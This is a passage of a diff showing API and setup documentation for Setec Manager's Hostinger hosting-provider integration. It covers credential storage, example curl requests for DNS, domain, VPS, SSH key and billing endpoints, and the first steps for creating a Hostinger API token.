Provider credentials are stored as individual JSON files in a protected directory (`0700` directory, `0600` files) managed by `ProviderConfigStore`. Each file is named `<provider>.json` and contains the `ProviderConfig` struct:
|
|
||||||
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"provider": "hostinger",
|
|
||||||
"api_key": "Bearer ...",
|
|
||||||
"api_secret": "",
|
|
||||||
"extra": {},
|
|
||||||
"connected": true
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Supported Providers
|
|
||||||
|
|
||||||
### Hostinger (Built-in)
|
|
||||||
|
|
||||||
| Capability | Supported | Notes |
|
|
||||||
|---|---|---|
|
|
||||||
| DNS Management | Yes | Full CRUD, validation before writes, zone reset |
|
|
||||||
| Domain Management | Yes | List, lookup, availability check, purchase, nameservers, lock, privacy |
|
|
||||||
| VPS Management | Yes | List, create, get details, data center listing |
|
|
||||||
| SSH Key Management | Yes | Add, list, delete |
|
|
||||||
| Billing | Yes | Subscriptions and catalog |
|
|
||||||
|
|
||||||
The Hostinger provider communicates with `https://developers.hostinger.com` using a Bearer token. It includes automatic retry with back-off on HTTP 429 (rate limit) responses, up to 3 retries per request.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Configuration
|
|
||||||
|
|
||||||
### Via the UI
|
|
||||||
|
|
||||||
1. Navigate to the Hosting Providers section in the Setec Manager dashboard.
|
|
||||||
2. Select "Hostinger" from the provider list.
|
|
||||||
3. Enter your API token (obtained from hPanel -- see [Hostinger Setup Guide](hostinger-setup.md)).
|
|
||||||
4. Click "Test Connection" to verify the token is valid.
|
|
||||||
5. Click "Save" to persist the configuration.
|
|
||||||
|
|
||||||
### Via Config Files
|
|
||||||
|
|
||||||
Provider configurations are stored as JSON files in the config directory (typically `/opt/setec-manager/data/hosting/`).
|
|
||||||
|
|
||||||
Create or edit the file directly:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
mkdir -p /opt/setec-manager/data/hosting
|
|
||||||
cat > /opt/setec-manager/data/hosting/hostinger.json << 'EOF'
|
|
||||||
{
|
|
||||||
"provider": "hostinger",
|
|
||||||
"api_key": "YOUR_BEARER_TOKEN_HERE",
|
|
||||||
"api_secret": "",
|
|
||||||
"extra": {},
|
|
||||||
"connected": true
|
|
||||||
}
|
|
||||||
EOF
|
|
||||||
chmod 600 /opt/setec-manager/data/hosting/hostinger.json
|
|
||||||
```
|
|
||||||
|
|
||||||
### Via API
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/configure \
|
|
||||||
-H "Authorization: Bearer $TOKEN" \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
-d '{
|
|
||||||
"api_key": "YOUR_HOSTINGER_API_TOKEN"
|
|
||||||
}'
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## API Reference
|
|
||||||
|
|
||||||
All hosting endpoints require authentication via JWT (cookie or `Authorization: Bearer` header). The base URL is `https://your-server:9090`.
|
|
||||||
|
|
||||||
### Provider Management
|
|
||||||
|
|
||||||
#### List Providers
|
|
||||||
|
|
||||||
```
|
|
||||||
GET /api/hosting/providers
|
|
||||||
```
|
|
||||||
|
|
||||||
Returns all registered hosting providers and their connection status.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -s https://your-server:9090/api/hosting/providers \
|
|
||||||
-H "Authorization: Bearer $TOKEN"
|
|
||||||
```
|
|
||||||
|
|
||||||
**Response:**
|
|
||||||
```json
|
|
||||||
[
|
|
||||||
{
|
|
||||||
"name": "hostinger",
|
|
||||||
"display_name": "Hostinger",
|
|
||||||
"connected": true
|
|
||||||
}
|
|
||||||
]
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Configure Provider
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /api/hosting/providers/{provider}/configure
|
|
||||||
```
|
|
||||||
|
|
||||||
Sets the API credentials for a provider.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/configure \
|
|
||||||
-H "Authorization: Bearer $TOKEN" \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
-d '{
|
|
||||||
"api_key": "YOUR_API_TOKEN"
|
|
||||||
}'
|
|
||||||
```
|
|
||||||
|
|
||||||
**Response:**
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"status": "configured"
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Test Connection
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /api/hosting/providers/{provider}/test
|
|
||||||
```
|
|
||||||
|
|
||||||
Verifies that the saved credentials are valid by making a test API call.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/test \
|
|
||||||
-H "Authorization: Bearer $TOKEN"
|
|
||||||
```
|
|
||||||
|
|
||||||
**Response:**
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"status": "ok",
|
|
||||||
"message": "Connection successful"
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Remove Provider Configuration
|
|
||||||
|
|
||||||
```
|
|
||||||
DELETE /api/hosting/providers/{provider}
|
|
||||||
```
|
|
||||||
|
|
||||||
Deletes saved credentials for a provider.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -X DELETE https://your-server:9090/api/hosting/providers/hostinger \
|
|
||||||
-H "Authorization: Bearer $TOKEN"
|
|
||||||
```
|
|
||||||
|
|
||||||
**Response:**
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"status": "deleted"
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## DNS Management
|
|
||||||
|
|
||||||
### List DNS Records
|
|
||||||
|
|
||||||
```
|
|
||||||
GET /api/hosting/providers/{provider}/dns/{domain}
|
|
||||||
```
|
|
||||||
|
|
||||||
Returns all DNS records for the specified domain.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -s https://your-server:9090/api/hosting/providers/hostinger/dns/example.com \
|
|
||||||
-H "Authorization: Bearer $TOKEN"
|
|
||||||
```
|
|
||||||
|
|
||||||
**Response:**
|
|
||||||
```json
|
|
||||||
[
|
|
||||||
{
|
|
||||||
"id": "@/A/0",
|
|
||||||
"type": "A",
|
|
||||||
"name": "@",
|
|
||||||
"content": "93.184.216.34",
|
|
||||||
"ttl": 14400,
|
|
||||||
"priority": 0
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"id": "www/CNAME/0",
|
|
||||||
"type": "CNAME",
|
|
||||||
"name": "www",
|
|
||||||
"content": "example.com",
|
|
||||||
"ttl": 14400,
|
|
||||||
"priority": 0
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"id": "@/MX/10",
|
|
||||||
"type": "MX",
|
|
||||||
"name": "@",
|
|
||||||
"content": "mail.example.com",
|
|
||||||
"ttl": 14400,
|
|
||||||
"priority": 10
|
|
||||||
}
|
|
||||||
]
|
|
||||||
```
|
|
||||||
|
|
||||||
### Create DNS Record
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /api/hosting/providers/{provider}/dns/{domain}
|
|
||||||
```
|
|
||||||
|
|
||||||
Adds a new DNS record without overwriting existing records.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/dns/example.com \
|
|
||||||
-H "Authorization: Bearer $TOKEN" \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
-d '{
|
|
||||||
"type": "A",
|
|
||||||
"name": "api",
|
|
||||||
"content": "93.184.216.35",
|
|
||||||
"ttl": 3600
|
|
||||||
}'
|
|
||||||
```
|
|
||||||
|
|
||||||
**Response:**
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"status": "created"
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### Update DNS Records (Batch)
|
|
||||||
|
|
||||||
```
|
|
||||||
PUT /api/hosting/providers/{provider}/dns/{domain}
|
|
||||||
```
|
|
||||||
|
|
||||||
Updates DNS records for a domain. If `overwrite` is `true`, all existing records are replaced; otherwise the records are merged.
|
|
||||||
|
|
||||||
The Hostinger provider validates records against the API before applying changes.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -X PUT https://your-server:9090/api/hosting/providers/hostinger/dns/example.com \
|
|
||||||
-H "Authorization: Bearer $TOKEN" \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
-d '{
|
|
||||||
"records": [
|
|
||||||
{
|
|
||||||
"type": "A",
|
|
||||||
"name": "@",
|
|
||||||
"content": "93.184.216.34",
|
|
||||||
"ttl": 14400
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "CNAME",
|
|
||||||
"name": "www",
|
|
||||||
"content": "example.com",
|
|
||||||
"ttl": 14400
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"overwrite": false
|
|
||||||
}'
|
|
||||||
```
|
|
||||||
|
|
||||||
**Response:**
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"status": "updated"
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### Delete DNS Record
|
|
||||||
|
|
||||||
```
|
|
||||||
DELETE /api/hosting/providers/{provider}/dns/{domain}?name={name}&type={type}
|
|
||||||
```
|
|
||||||
|
|
||||||
Removes DNS records matching the given name and type.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -X DELETE "https://your-server:9090/api/hosting/providers/hostinger/dns/example.com?name=api&type=A" \
|
|
||||||
-H "Authorization: Bearer $TOKEN"
|
|
||||||
```
|
|
||||||
|
|
||||||
**Response:**
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"status": "deleted"
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### Reset DNS Zone
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /api/hosting/providers/{provider}/dns/{domain}/reset
|
|
||||||
```
|
|
||||||
|
|
||||||
Resets the domain's DNS zone to the provider's default records. This is destructive and removes all custom records.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/dns/example.com/reset \
|
|
||||||
-H "Authorization: Bearer $TOKEN"
|
|
||||||
```
|
|
||||||
|
|
||||||
**Response:**
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"status": "reset"
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### Supported DNS Record Types
|
|
||||||
|
|
||||||
| Type | Description | Priority Field |
|
|
||||||
|---|---|---|
|
|
||||||
| A | IPv4 address | No |
|
|
||||||
| AAAA | IPv6 address | No |
|
|
||||||
| CNAME | Canonical name / alias | No |
|
|
||||||
| MX | Mail exchange | Yes |
|
|
||||||
| TXT | Text record (SPF, DKIM, etc.) | No |
|
|
||||||
| NS | Name server | No |
|
|
||||||
| SRV | Service record | Yes |
|
|
||||||
| CAA | Certificate Authority Authorization | No |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Domain Management
|
|
||||||
|
|
||||||
### List Domains
|
|
||||||
|
|
||||||
```
|
|
||||||
GET /api/hosting/providers/{provider}/domains
|
|
||||||
```
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -s https://your-server:9090/api/hosting/providers/hostinger/domains \
|
|
||||||
-H "Authorization: Bearer $TOKEN"
|
|
||||||
```
|
|
||||||
|
|
||||||
**Response:**
|
|
||||||
```json
|
|
||||||
[
|
|
||||||
{
|
|
||||||
"name": "example.com",
|
|
||||||
"registrar": "Hostinger",
|
|
||||||
"status": "active",
|
|
||||||
"expires_at": "2027-03-15T00:00:00Z",
|
|
||||||
"auto_renew": true,
|
|
||||||
"locked": true,
|
|
||||||
"privacy_protection": true,
|
|
||||||
"nameservers": ["ns1.dns-parking.com", "ns2.dns-parking.com"]
|
|
||||||
}
|
|
||||||
]
|
|
||||||
```
|
|
||||||
|
|
||||||
### Get Domain Details
|
|
||||||
|
|
||||||
```
|
|
||||||
GET /api/hosting/providers/{provider}/domains/{domain}
|
|
||||||
```
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -s https://your-server:9090/api/hosting/providers/hostinger/domains/example.com \
|
|
||||||
-H "Authorization: Bearer $TOKEN"
|
|
||||||
```
|
|
||||||
|
|
||||||
**Response:**
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"name": "example.com",
|
|
||||||
"registrar": "Hostinger",
|
|
||||||
"status": "active",
|
|
||||||
"expires_at": "2027-03-15T00:00:00Z",
|
|
||||||
"auto_renew": true,
|
|
||||||
"locked": true,
|
|
||||||
"privacy_protection": true,
|
|
||||||
"nameservers": ["ns1.dns-parking.com", "ns2.dns-parking.com"]
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### Check Domain Availability
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /api/hosting/providers/{provider}/domains/check
|
|
||||||
```
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/domains/check \
|
|
||||||
-H "Authorization: Bearer $TOKEN" \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
-d '{
|
|
||||||
"domains": ["cool-project.com", "cool-project.io", "cool-project.dev"]
|
|
||||||
}'
|
|
||||||
```
|
|
||||||
|
|
||||||
**Response:**
|
|
||||||
```json
|
|
||||||
[
|
|
||||||
{
|
|
||||||
"domain": "cool-project.com",
|
|
||||||
"available": true,
|
|
||||||
"price": 9.99,
|
|
||||||
"currency": "USD"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"domain": "cool-project.io",
|
|
||||||
"available": false
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"domain": "cool-project.dev",
|
|
||||||
"available": true,
|
|
||||||
"price": 14.99,
|
|
||||||
"currency": "USD"
|
|
||||||
}
|
|
||||||
]
|
|
||||||
```
|
|
||||||
|
|
||||||
### Purchase Domain
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /api/hosting/providers/{provider}/domains/purchase
|
|
||||||
```
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/domains/purchase \
|
|
||||||
-H "Authorization: Bearer $TOKEN" \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
-d '{
|
|
||||||
"domain": "cool-project.com",
|
|
||||||
"period": 1,
|
|
||||||
"auto_renew": true,
|
|
||||||
"privacy_protection": true,
|
|
||||||
"payment_method_id": "pm_abc123"
|
|
||||||
}'
|
|
||||||
```
|
|
||||||
|
|
||||||
**Response:**
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"name": "cool-project.com",
|
|
||||||
"status": "active",
|
|
||||||
"expires_at": "2027-03-11T00:00:00Z",
|
|
||||||
"auto_renew": true,
|
|
||||||
"locked": false,
|
|
||||||
"privacy_protection": true,
|
|
||||||
"nameservers": ["ns1.dns-parking.com", "ns2.dns-parking.com"]
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### Set Nameservers
|
|
||||||
|
|
||||||
```
|
|
||||||
PUT /api/hosting/providers/{provider}/domains/{domain}/nameservers
|
|
||||||
```
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -X PUT https://your-server:9090/api/hosting/providers/hostinger/domains/example.com/nameservers \
|
|
||||||
-H "Authorization: Bearer $TOKEN" \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
-d '{
|
|
||||||
"nameservers": ["ns1.cloudflare.com", "ns2.cloudflare.com"]
|
|
||||||
}'
|
|
||||||
```
|
|
||||||
|
|
||||||
**Response:**
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"status": "updated"
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### Enable Domain Lock
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /api/hosting/providers/{provider}/domains/{domain}/lock
|
|
||||||
```
|
|
||||||
|
|
||||||
Prevents unauthorized domain transfers.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/domains/example.com/lock \
|
|
||||||
-H "Authorization: Bearer $TOKEN"
|
|
||||||
```
|
|
||||||
|
|
||||||
**Response:**
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"status": "locked"
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### Disable Domain Lock
|
|
||||||
|
|
||||||
```
|
|
||||||
DELETE /api/hosting/providers/{provider}/domains/{domain}/lock
|
|
||||||
```
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -X DELETE https://your-server:9090/api/hosting/providers/hostinger/domains/example.com/lock \
|
|
||||||
-H "Authorization: Bearer $TOKEN"
|
|
||||||
```
|
|
||||||
|
|
||||||
**Response:**
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"status": "unlocked"
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### Enable Privacy Protection
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /api/hosting/providers/{provider}/domains/{domain}/privacy
|
|
||||||
```
|
|
||||||
|
|
||||||
Enables WHOIS privacy protection to hide registrant details.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/domains/example.com/privacy \
|
|
||||||
-H "Authorization: Bearer $TOKEN"
|
|
||||||
```
|
|
||||||
|
|
||||||
**Response:**
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"status": "enabled"
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### Disable Privacy Protection
|
|
||||||
|
|
||||||
```
|
|
||||||
DELETE /api/hosting/providers/{provider}/domains/{domain}/privacy
|
|
||||||
```
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -X DELETE https://your-server:9090/api/hosting/providers/hostinger/domains/example.com/privacy \
|
|
||||||
-H "Authorization: Bearer $TOKEN"
|
|
||||||
```
|
|
||||||
|
|
||||||
**Response:**
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"status": "disabled"
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## VPS Management
|
|
||||||
|
|
||||||
### List Virtual Machines
|
|
||||||
|
|
||||||
```
|
|
||||||
GET /api/hosting/providers/{provider}/vms
|
|
||||||
```
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -s https://your-server:9090/api/hosting/providers/hostinger/vms \
|
|
||||||
-H "Authorization: Bearer $TOKEN"
|
|
||||||
```
|
|
||||||
|
|
||||||
**Response:**
|
|
||||||
```json
|
|
||||||
[
|
|
||||||
{
|
|
||||||
"id": "vm-abc123",
|
|
||||||
"name": "production-1",
|
|
||||||
"status": "running",
|
|
||||||
"plan": "kvm-2",
|
|
||||||
"region": "us-east-1",
|
|
||||||
"ipv4": "93.184.216.34",
|
|
||||||
"ipv6": "2606:2800:220:1:248:1893:25c8:1946",
|
|
||||||
"os": "Ubuntu 22.04",
|
|
||||||
"cpus": 2,
|
|
||||||
"memory_mb": 4096,
|
|
||||||
"disk_gb": 80,
|
|
||||||
"bandwidth_gb": 4000,
|
|
||||||
"created_at": "2025-01-15T10:30:00Z",
|
|
||||||
"labels": {
|
|
||||||
"env": "production"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
]
|
|
||||||
```
|
|
||||||
|
|
||||||
### Get VM Details
|
|
||||||
|
|
||||||
```
|
|
||||||
GET /api/hosting/providers/{provider}/vms/{id}
|
|
||||||
```
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -s https://your-server:9090/api/hosting/providers/hostinger/vms/vm-abc123 \
|
|
||||||
-H "Authorization: Bearer $TOKEN"
|
|
||||||
```
|
|
||||||
|
|
||||||
**Response:** Same shape as a single item from the list response.
|
|
||||||
|
|
||||||
### Create VM
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /api/hosting/providers/{provider}/vms
|
|
||||||
```
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/vms \
|
|
||||||
-H "Authorization: Bearer $TOKEN" \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
-d '{
|
|
||||||
"plan": "kvm-2",
|
|
||||||
"data_center_id": "us-east-1",
|
|
||||||
"template": "ubuntu-22.04",
|
|
||||||
"password": "SecurePassword123!",
|
|
||||||
"hostname": "web-server-2",
|
|
||||||
"ssh_key_id": "key-abc123",
|
|
||||||
"payment_method_id": "pm_abc123"
|
|
||||||
}'
|
|
||||||
```
|
|
||||||
|
|
||||||
**Response:**
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"id": "vm-def456",
|
|
||||||
"name": "web-server-2",
|
|
||||||
"status": "creating",
|
|
||||||
"plan": "kvm-2",
|
|
||||||
"region": "us-east-1",
|
|
||||||
"os": "Ubuntu 22.04",
|
|
||||||
"cpus": 2,
|
|
||||||
"memory_mb": 4096,
|
|
||||||
"disk_gb": 80,
|
|
||||||
"bandwidth_gb": 4000,
|
|
||||||
"created_at": "2026-03-11T14:00:00Z"
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### List Data Centers
|
|
||||||
|
|
||||||
```
|
|
||||||
GET /api/hosting/providers/{provider}/datacenters
|
|
||||||
```
|
|
||||||
|
|
||||||
Returns available regions/data centers for VM creation.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -s https://your-server:9090/api/hosting/providers/hostinger/datacenters \
|
|
||||||
-H "Authorization: Bearer $TOKEN"
|
|
||||||
```
|
|
||||||
|
|
||||||
**Response:**
|
|
||||||
```json
|
|
||||||
[
|
|
||||||
{
|
|
||||||
"id": "us-east-1",
|
|
||||||
"name": "US East",
|
|
||||||
"location": "New York",
|
|
||||||
"country": "US"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"id": "eu-west-1",
|
|
||||||
"name": "EU West",
|
|
||||||
"location": "Amsterdam",
|
|
||||||
"country": "NL"
|
|
||||||
}
|
|
||||||
]
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## SSH Key Management
|
|
||||||
|
|
||||||
### List SSH Keys
|
|
||||||
|
|
||||||
```
|
|
||||||
GET /api/hosting/providers/{provider}/ssh-keys
|
|
||||||
```
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -s https://your-server:9090/api/hosting/providers/hostinger/ssh-keys \
|
|
||||||
-H "Authorization: Bearer $TOKEN"
|
|
||||||
```
|
|
||||||
|
|
||||||
**Response:**
|
|
||||||
```json
|
|
||||||
[
|
|
||||||
{
|
|
||||||
"id": "key-abc123",
|
|
||||||
"name": "deploy-key",
|
|
||||||
"fingerprint": "SHA256:abcd1234...",
|
|
||||||
"public_key": "ssh-ed25519 AAAAC3Nz..."
|
|
||||||
}
|
|
||||||
]
|
|
||||||
```
|
|
||||||
|
|
||||||
### Add SSH Key
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /api/hosting/providers/{provider}/ssh-keys
|
|
||||||
```
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/ssh-keys \
|
|
||||||
-H "Authorization: Bearer $TOKEN" \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
-d '{
|
|
||||||
"name": "new-deploy-key",
|
|
||||||
"public_key": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... user@host"
|
|
||||||
}'
|
|
||||||
```
|
|
||||||
|
|
||||||
**Response:**
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"id": "key-def456",
|
|
||||||
"name": "new-deploy-key",
|
|
||||||
"fingerprint": "SHA256:efgh5678...",
|
|
||||||
"public_key": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI..."
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### Delete SSH Key
|
|
||||||
|
|
||||||
```
|
|
||||||
DELETE /api/hosting/providers/{provider}/ssh-keys/{id}
|
|
||||||
```
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -X DELETE https://your-server:9090/api/hosting/providers/hostinger/ssh-keys/key-def456 \
|
|
||||||
-H "Authorization: Bearer $TOKEN"
|
|
||||||
```
|
|
||||||
|
|
||||||
**Response:**
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"status": "deleted"
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Billing
|
|
||||||
|
|
||||||
### List Subscriptions
|
|
||||||
|
|
||||||
```
|
|
||||||
GET /api/hosting/providers/{provider}/subscriptions
|
|
||||||
```
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -s https://your-server:9090/api/hosting/providers/hostinger/subscriptions \
|
|
||||||
-H "Authorization: Bearer $TOKEN"
|
|
||||||
```
|
|
||||||
|
|
||||||
**Response:**
|
|
||||||
```json
|
|
||||||
[
|
|
||||||
{
|
|
||||||
"id": "sub-abc123",
|
|
||||||
"name": "Premium Web Hosting",
|
|
||||||
"status": "active",
|
|
||||||
"plan": "premium-hosting-48m",
|
|
||||||
"price": 2.99,
|
|
||||||
"currency": "USD",
|
|
||||||
"renews_at": "2027-03-15T00:00:00Z",
|
|
||||||
"created_at": "2023-03-15T00:00:00Z"
|
|
||||||
}
|
|
||||||
]
|
|
||||||
```
|
|
||||||
|
|
||||||
### Get Product Catalog
|
|
||||||
|
|
||||||
```
|
|
||||||
GET /api/hosting/providers/{provider}/catalog
|
|
||||||
```
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -s https://your-server:9090/api/hosting/providers/hostinger/catalog \
|
|
||||||
-H "Authorization: Bearer $TOKEN"
|
|
||||||
```
|
|
||||||
|
|
||||||
**Response:**
|
|
||||||
```json
|
|
||||||
[
|
|
||||||
{
|
|
||||||
"id": "kvm-2",
|
|
||||||
"name": "KVM 2",
|
|
||||||
"category": "vps",
|
|
||||||
"price_cents": 1199,
|
|
||||||
"currency": "USD",
|
|
||||||
"period": "monthly",
|
|
||||||
"description": "2 vCPU, 4 GB RAM, 80 GB SSD"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"id": "premium-hosting-12m",
|
|
||||||
"name": "Premium Web Hosting",
|
|
||||||
"category": "hosting",
|
|
||||||
"price_cents": 299,
|
|
||||||
"currency": "USD",
|
|
||||||
"period": "monthly",
|
|
||||||
"description": "100 websites, 100 GB SSD, free SSL"
|
|
||||||
}
|
|
||||||
]
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Error Responses
|
|
||||||
|
|
||||||
All endpoints return errors in a consistent format:
|
|
||||||
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"error": "description of what went wrong"
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
| HTTP Status | Meaning |
|
|
||||||
|---|---|
|
|
||||||
| 400 | Bad request (invalid parameters) |
|
|
||||||
| 401 | Authentication required or token invalid |
|
|
||||||
| 404 | Provider or resource not found |
|
|
||||||
| 409 | Conflict (e.g., duplicate resource) |
|
|
||||||
| 429 | Rate limited by the upstream provider |
|
|
||||||
| 500 | Internal server error |
|
|
||||||
| 501 | Provider does not support this operation (`ErrNotSupported`) |
|
|
||||||
|
|
||||||
When a provider does not implement a particular capability, the endpoint returns HTTP 501 with an `ErrNotSupported` error message. This allows partial implementations where a provider only supports DNS management, for example.
|
|
||||||
@ -1,365 +0,0 @@
|
|||||||
# Hostinger Setup Guide
|
|
||||||
|
|
||||||
This guide covers configuring the Hostinger hosting provider integration in Setec Manager.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Getting Your API Token
|
|
||||||
|
|
||||||
Hostinger provides API access through bearer tokens generated in the hPanel control panel.
|
|
||||||
|
|
||||||
### Step-by-Step
|
|
||||||
|
|
||||||
1. **Log in to hPanel.** Go to [https://hpanel.hostinger.com](https://hpanel.hostinger.com) and sign in with your Hostinger account.
|
|
||||||
|
|
||||||
2. **Navigate to your profile.** Click your profile icon or name in the top-right corner of the dashboard.
|
|
||||||
|
|
||||||
3. **Open Account Settings.** Select "Account Settings" or "Profile" from the dropdown menu.
|
|
||||||
|
|
||||||
4. **Go to the API section.** Look for the "API" or "API Tokens" tab. This may be under "Account" > "API" depending on your hPanel version.
|
|
||||||
|
|
||||||
5. **Generate a new token.** Click "Create API Token" or "Generate Token."
|
|
||||||
- Give the token a descriptive name (e.g., `setec-manager`).
|
|
||||||
- Select the permissions/scopes you need. For full Setec Manager integration, grant:
|
|
||||||
- DNS management (read/write)
|
|
||||||
- Domain management (read/write)
|
|
||||||
- VPS management (read/write)
|
|
||||||
- Billing (read)
|
|
||||||
- Set an expiration if desired (recommended: no expiration for server-to-server use, but rotate periodically).
|
|
||||||
|
|
||||||
6. **Copy the token.** The token is shown only once. Copy it immediately and store it securely. It will look like a long alphanumeric string.
|
|
||||||
|
|
||||||
**Important:** Treat this token like a password. Anyone with the token has API access to your Hostinger account.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Configuring in Setec Manager
|
|
||||||
|
|
||||||
### Via the Web UI
|
|
||||||
|
|
||||||
1. Log in to your Setec Manager dashboard at `https://your-server:9090`.
|
|
||||||
2. Navigate to the Hosting Providers section.
|
|
||||||
3. Click "Hostinger" from the provider list.
|
|
||||||
4. Paste your API token into the "API Key" field.
|
|
||||||
5. Click "Test Connection" -- you should see a success message confirming the token is valid.
|
|
||||||
6. Click "Save Configuration" to persist the credentials.
|
|
||||||
|
|
||||||
### Via the API
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Set your Setec Manager JWT token
|
|
||||||
export TOKEN="your-setec-manager-jwt"
|
|
||||||
|
|
||||||
# Configure the Hostinger provider
|
|
||||||
